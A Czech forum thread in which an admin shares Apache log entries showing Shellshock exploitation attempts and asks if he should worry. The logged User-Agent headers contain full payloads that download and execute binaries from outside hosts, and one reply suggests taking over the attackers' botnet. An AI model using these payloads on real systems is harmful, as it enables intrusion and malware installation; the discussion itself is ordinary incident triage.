Dotaz: Bash Shellshock a log Apache

[sh]

Ahoj, v souvislosti s Shellshock jsem nasel v logu apache:

74.201.85.75 - - [28/Sep/2014:08:22:40 +0200] "GET / HTTP/1.0" 200 3171 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\""
74.201.85.75 - - [28/Sep/2014:08:22:40 +0200] "GET /cgi-bin/test.sh HTTP/1.0" 404 493 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\""
74.201.85.75 - - [28/Sep/2014:08:22:40 +0200] "GET /test HTTP/1.0" 404 482 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\""
94.32.106.53 - - [28/Sep/2014:11:07:18 +0200] "GET / HTTP/1.0" 200 3171 "-" "() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\""
54.251.83.67 - - [26/Sep/2014:21:42:29 +0200] "GET / HTTP/1.1" 200 3152 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
173.45.100.18 - - [27/Sep/2014:22:38:02 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 488 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""

ma mne to znepokojit?

Na serveru mi bezi pouze php weby, zadne bash cgi skripty (alespon o zadnych nevim).

Odpovědi

[Jendа]

ma mne to znepokojit?

Ne.

Pokud tě to baví, můžeš si ten škodlivý kód stáhnout, podívat se, jak komunikuje, a zkusit, jestli nemají v komunikaci díru, pomocí které by je šlo vyownovat a botnet jim ukrást. Často mají.

[Jendа]

Pokud tě to baví, můžeš si ten škodlivý kód stáhnout, podívat se, jak komunikuje, a zkusit, jestli nemají v komunikaci díru, pomocí které by je šlo vyownovat a botnet jim ukrást. Často mají.

Hm, tohle vypadá na nějaký IRC DDOS crap, tak asi nic.

[mbo]

taky jsem tohle našel v logu, ale archiv z původního umístění už stáhnout nejde. Mohl by někdo poskytnout výpis toho archivu, abych věděl co hledat a případně mazat?
(vzhledem k nedělním updatům je find -mtime 1 poměrně obsáhlý)
dík

[mbo]

tak nic, on to podle všeho není zip archiv, ale binárka...